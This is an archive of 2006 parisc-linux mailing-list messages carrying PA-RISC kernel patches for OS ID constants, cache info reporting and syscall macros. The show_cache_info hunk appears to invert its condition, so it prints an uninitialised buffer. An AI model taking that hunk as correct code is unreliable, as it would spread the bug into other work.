diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index c80c277..4398d2a 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -407,7 +407,9 @@ int pdc_model_info(struct pdc_model *mod
  * pdc_model_sysmodel - Get the system model name.
  * @name: A char array of at least 81 characters.
  *
- * Get system model name from PDC ROM (e.g. 9000/715 or 9000/778/B160L)
+ * Get system model name from PDC ROM (e.g. 9000/715 or 9000/778/B160L).
+ * Using OS_ID_HPUX will return the equivalent of the 'modelname' command
+ * on HP/UX.
  */
 int pdc_model_sysmodel(char *name)
 {
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 8471486..278f4b9 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -303,7 +303,7 @@ extern void eisa_init(void);
 
 static int __init parisc_init(void)
 {
-	u32 osid = (0x0006 << 16);
+	u32 osid = (OS_ID_LINUX << 16);
 
 	parisc_proc_mkdir();
 	parisc_init_resources();
diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index a109421..97b3458 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -884,7 +884,7 @@ pdcs_osdep1_write(struct subsystem *entr
 	if (!entry || !buf || !count)
 		return -EINVAL;
 
-	if (unlikely(pdcs_osid != 0x0006))
+	if (unlikely(pdcs_osid != OS_ID_LINUX))
 		return -EPERM;
 
 	if (count > 16)
@@ -926,7 +926,7 @@ pdcs_osdep2_write(struct subsystem *entr
 	if (unlikely(pdcs_size <= 224))
 		return -ENOSYS;
 
-	if (unlikely(pdcs_osid != 0x0006))
+	if (unlikely(pdcs_osid != OS_ID_LINUX))
 		return -EPERM;
 
 	size = pdcs_size - 224;
diff --git a/include/asm-parisc/pdc.h b/include/asm-parisc/pdc.h
index 3d3446e..33bff61 100644
--- a/include/asm-parisc/pdc.h
+++ b/include/asm-parisc/pdc.h
@@ -278,12 +278,11 @@ #define PDC_LINK_USB_ENTRY_POINTS	1  /* 
 /* constants for OS (NVM...) */
 #define OS_ID_NONE		0	/* Undefined OS ID	*/
 #define OS_ID_HPUX		1	/* HP-UX OS		*/
-#define OS_ID_LINUX		OS_ID_HPUX /* just use the same value as hpux */
 #define OS_ID_MPEXL		2	/* MPE XL OS		*/
 #define OS_ID_OSF		3	/* OSF OS		*/
 #define OS_ID_HPRT		4	/* HP-RT OS		*/
 #define OS_ID_NOVEL		5	/* NOVELL OS		*/
-#define OS_ID_NT		6	/* NT OS		*/
+#define OS_ID_LINUX		6	/* Linux		*/
 
 
 /* constants for PDC_CHASSIS */
-- 
1.3.3

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 17/23] [PARISC] Match show_cache_info with
	reality
Date: Sun, 25 Jun 2006 19:34:45 -0400
Lines: 91
Approved: news@gmane.org
Message-ID: <11512784931379-git-send-email-kyle@parisc-linux.org>
References: <20060625233123.GC2837@athena.road.mcmartin.ca>
Reply-To: Kyle McMartin <kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624115 19983 80.91.229.3 (22 Nov 2014 02:41:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jun 2006 23:38:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 26 Jun 2006 01:38:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AC667D7B0;
	Sun, 25 Jun 2006 17:37:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17162-06; Sun, 25 Jun 2006 17:37:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C0417D7B2;
	Sun, 25 Jun 2006 17:36:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1BA947D787
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16775-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:20 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 7D46E7D75E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:14 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 2DA2D5840B8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:14 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 02DFF5840BD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:08 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 38E6723E83
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:07 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20154-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:06 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 7A6FB23E85
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:03 -0400 (EDT)
Original-Received: from localhost.localdomain (athena.road.mcmartin.ca [127.0.0.1])
	by athena.road.mcmartin.ca (Postfix) with ESMTP id 6320B3B074
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:34:53 -0400 (EDT)
X-Mailer: git-send-email 1.3.3
In-Reply-To: <20060625233123.GC2837@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aSytd2YxPTRt7OjGPjIwBA4xc2tpZMu9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23769

show_cache_info and struct pdc_cache_cf were out of sync with
published documentation. Fix the reporting of cache associativity
and update the pdc_cache_cf bitfields to match documentation.

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

 arch/parisc/kernel/cache.c |   18 ++++++++++--------
 include/asm-parisc/pdc.h   |    4 ++--
 2 files changed, 12 insertions(+), 10 deletions(-)

9e474ed388eb542bf0948aced376f787fb2e26b9
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index c057ad7..851519c 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -97,15 +97,17 @@ update_mmu_cache(struct vm_area_struct *
 void
 show_cache_info(struct seq_file *m)
 {
+	char buf[32];
+
 	seq_printf(m, "I-cache\t\t: %ld KB\n", 
 		cache_info.ic_size/1024 );
-	seq_printf(m, "D-cache\t\t: %ld KB (%s%s, %d-way associative)\n", 
+	if (cache_info.dc_loop == 1)
+		snprintf(buf, 32, "%lu-way associative", cache_info.dc_loop);
+	seq_printf(m, "D-cache\t\t: %ld KB (%s%s, %s)\n",
 		cache_info.dc_size/1024,
 		(cache_info.dc_conf.cc_wt ? "WT":"WB"),
 		(cache_info.dc_conf.cc_sh ? ", shared I/D":""),
-		(cache_info.dc_conf.cc_assoc)
-	);
-
+		((cache_info.dc_loop == 1) ? "direct mapped" : buf));
 	seq_printf(m, "ITLB entries\t: %ld\n" "DTLB entries\t: %ld%s\n",
 		cache_info.it_size,
 		cache_info.dt_size,
@@ -158,11 +160,11 @@ #if 0
 		cache_info.dc_conf.cc_block,
 		cache_info.dc_conf.cc_line,
 		cache_info.dc_conf.cc_shift);
-	printk("	wt %d sh %d cst %d assoc %d\n",
+	printk("	wt %d sh %d cst %d hv %d\n",
 		cache_info.dc_conf.cc_wt,
 		cache_info.dc_conf.cc_sh,
 		cache_info.dc_conf.cc_cst,
-		cache_info.dc_conf.cc_assoc);
+		cache_info.dc_conf.cc_hv);
 
 	printk("IC  base 0x%lx stride 0x%lx count 0x%lx loop 0x%lx\n",
 		cache_info.ic_base,
@@ -176,11 +178,11 @@ #if 0
 		cache_info.ic_conf.cc_block,
 		cache_info.ic_conf.cc_line,
 		cache_info.ic_conf.cc_shift);
-	printk("	wt %d sh %d cst %d assoc %d\n",
+	printk("	wt %d sh %d cst %d hv %d\n",
 		cache_info.ic_conf.cc_wt,
 		cache_info.ic_conf.cc_sh,
 		cache_info.ic_conf.cc_cst,
-		cache_info.ic_conf.cc_assoc);
+		cache_info.ic_conf.cc_hv);
 
 	printk("D-TLB conf: sh %d page %d cst %d aid %d pad1 %d \n",
 		cache_info.dt_conf.tc_sh,
diff --git a/include/asm-parisc/pdc.h b/include/asm-parisc/pdc.h
index 7d8a71a..592f13b 100644
--- a/include/asm-parisc/pdc.h
+++ b/include/asm-parisc/pdc.h
@@ -352,8 +352,8 @@ #endif
 		cc_wt	: 1,	/* 0 = WT-Dcache, 1 = WB-Dcache */
 		cc_sh	: 2,	/* 0 = separate I/D-cache, else shared I/D-cache */
 		cc_cst  : 3,	/* 0 = incoherent D-cache, 1=coherent D-cache */
-		cc_pad1 : 5,	/* reserved */
-		cc_assoc: 8;	/* associativity of I/D-cache */
+		cc_pad1 : 10,	/* reserved */
+		cc_hv   : 3;	/* hversion dependent */
 };
 
 struct pdc_tlb_cf {		/* for PDC_CACHE (I/D-TLB's) */
-- 
1.3.3

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 20/23] [PARISC] Add os_id_to_string helper
Date: Sun, 25 Jun 2006 19:34:48 -0400
Lines: 74
Approved: news@gmane.org
Message-ID: <11512784934079-git-send-email-kyle@parisc-linux.org>
References: <20060625233123.GC2837@athena.road.mcmartin.ca>
Reply-To: Kyle McMartin <kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624115 19987 80.91.229.3 (22 Nov 2014 02:41:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jun 2006 23:38:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 26 Jun 2006 01:38:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F05DE7D7B5;
	Sun, 25 Jun 2006 17:37:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17132-10; Sun, 25 Jun 2006 17:37:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D4807D77D;
	Sun, 25 Jun 2006 17:36:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0729E7D793
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16821-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:24 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 35D637D768
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:15 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id DB18A5840B8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:14 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 7AB3F5840C6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:10 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id AF87C23E82
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:09 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20159-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:08 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 9A37623E87
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:06 -0400 (EDT)
Original-Received: from localhost.localdomain (athena.road.mcmartin.ca [127.0.0.1])
	by athena.road.mcmartin.ca (Postfix) with ESMTP id 8D5AF3B077
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:34:53 -0400 (EDT)
X-Mailer: git-send-email 1.3.3
In-Reply-To: <20060625233123.GC2837@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VGSqLD1sZDI47rHGdWY2BFhxemhmYwEV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23770

Add a helper to asm/pdc.h to translate OS_ID values to strings
and use it in the pdc_stable driver.

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

 drivers/parisc/pdc_stable.c |   14 ++------------
 include/asm-parisc/pdc.h    |   13 +++++++++++++
 2 files changed, 15 insertions(+), 12 deletions(-)

484e05640cb33480c6cbd8c9f8e519a635424d1a
diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index 97b3458..ea1b7a6 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -622,22 +622,12 @@ static ssize_t
 pdcs_osid_read(struct subsystem *entry, char *buf)
 {
 	char *out = buf;
-	char *tmpstr = NULL;
 
 	if (!entry || !buf)
 		return -EINVAL;
 
-	switch (pdcs_osid) {
-		case 0x0000:	tmpstr = "No OS"; break;
-		case 0x0001:	tmpstr = "HP-UX"; break;
-		case 0x0002:	tmpstr = "MPE-iX"; break;
-		case 0x0003:	tmpstr = "OSF"; break;
-		case 0x0004:	tmpstr = "HP-RT"; break;
-		case 0x0005:	tmpstr = "Novell Netware"; break;
-		case 0x0006:	tmpstr = "Linux"; break;
-		default:	tmpstr = "Unknown"; break;
-	}
-	out += sprintf(out, "%s dependent data (0x%.4x)\n", tmpstr, pdcs_osid);
+	out += sprintf(out, "%s dependent data (0x%.4x)\n",
+		os_id_to_string(pdcs_osid), pdcs_osid);
 
 	return out - buf;
 }
diff --git a/include/asm-parisc/pdc.h b/include/asm-parisc/pdc.h
index 33bff61..7a21f10 100644
--- a/include/asm-parisc/pdc.h
+++ b/include/asm-parisc/pdc.h
@@ -284,6 +284,19 @@ #define OS_ID_HPRT		4	/* HP-RT OS		*/
 #define OS_ID_NOVEL		5	/* NOVELL OS		*/
 #define OS_ID_LINUX		6	/* Linux		*/
 
+static inline char * os_id_to_string(u16 os_id) {
+	switch(os_id) {
+	case OS_ID_NONE:	return "No OS";
+	case OS_ID_HPUX:	return "HP-UX";
+	case OS_ID_MPEXL:	return "MPE-iX";
+	case OS_ID_OSF:		return "OSF";
+	case OS_ID_HPRT:	return "HP-RT";
+	case OS_ID_NOVEL:	return "Novell Netware";
+	case OS_ID_LINUX:	return "Linux";
+	default:	return "Unknown";
+	}
+}
+
 
 /* constants for PDC_CHASSIS */
 #define OSTAT_OFF		0
-- 
1.3.3

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 09/23] [PARISC] Remove unconditional #define
	PIC in syscall macros
Date: Sun, 25 Jun 2006 19:34:37 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <11512784924145-git-send-email-kyle@parisc-linux.org>
References: <20060625233123.GC2837@athena.road.mcmartin.ca>
Reply-To: Kyle McMartin <kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624115 19989 80.91.229.3 (22 Nov 2014 02:41:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:55 +0000 (UTC)
Cc: Carlos O'Donell <carlos@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jun 2006 23:38:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 26 Jun 2006 01:38:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F04F47D7C0;
	Sun, 25 Jun 2006 17:37:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17200-05; Sun, 25 Jun 2006 17:37:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DDDE7D7C2;
	Sun, 25 Jun 2006 17:36:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 42D787D7A4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16775-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:28 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 7565B7D775
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:16 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id AB1435840C7;
	Sun, 25 Jun 2006 19:36:10 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id D36175840B9;
	Sun, 25 Jun 2006 19:36:04 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 9925623E87;
	Sun, 25 Jun 2006 19:36:03 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20079-09; Sun, 25 Jun 2006 19:36:03 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id A494E23E8A;
	Sun, 25 Jun 2006 19:36:01 -0400 (EDT)
Original-Received: from localhost.localdomain (athena.road.mcmartin.ca [127.0.0.1])
	by athena.road.mcmartin.ca (Postfix) with ESMTP id C3FD53B06C;
	Sun, 25 Jun 2006 19:34:52 -0400 (EDT)
X-Mailer: git-send-email 1.3.3
In-Reply-To: <20060625233123.GC2837@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OHvtZDJneSE5qr6WZHQhI092IGRvb8AQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23771

From: Carlos O'Donell <carlos@parisc-linux.org>

Signed-off-by: Carlos O'Donell <carlos@parisc-linux.org>
Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

 include/asm-parisc/unistd.h |    5 -----
 1 files changed, 0 insertions(+), 5 deletions(-)

32d4e0d51cefbbc81da5ce2dd2d7fb7a585ed385
diff --git a/include/asm-parisc/unistd.h b/include/asm-parisc/unistd.h
index 12b8672..27bcfad 100644
--- a/include/asm-parisc/unistd.h
+++ b/include/asm-parisc/unistd.h
@@ -797,11 +797,6 @@ #ifndef __ASSEMBLY__
 
 #define SYS_ify(syscall_name)   __NR_##syscall_name
 
-/* Assume all syscalls are done from PIC code just to be
- * safe. The worst case scenario is that you lose a register
- * and save/restore r19 across the syscall. */
-#define PIC

From - Thu Nov 08 21:34:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 21/23] [PARISC] Refactor show_regs in traps.c
Date: Sun, 25 Jun 2006 19:34:49 -0400
Lines: 139
Approved: news@gmane.org
Message-ID: <11512784933523-git-send-email-kyle@parisc-linux.org>
References: <20060625233123.GC2837@athena.road.mcmartin.ca>
Reply-To: Kyle McMartin <kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624116 19992 80.91.229.3 (22 Nov 2014 02:41:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
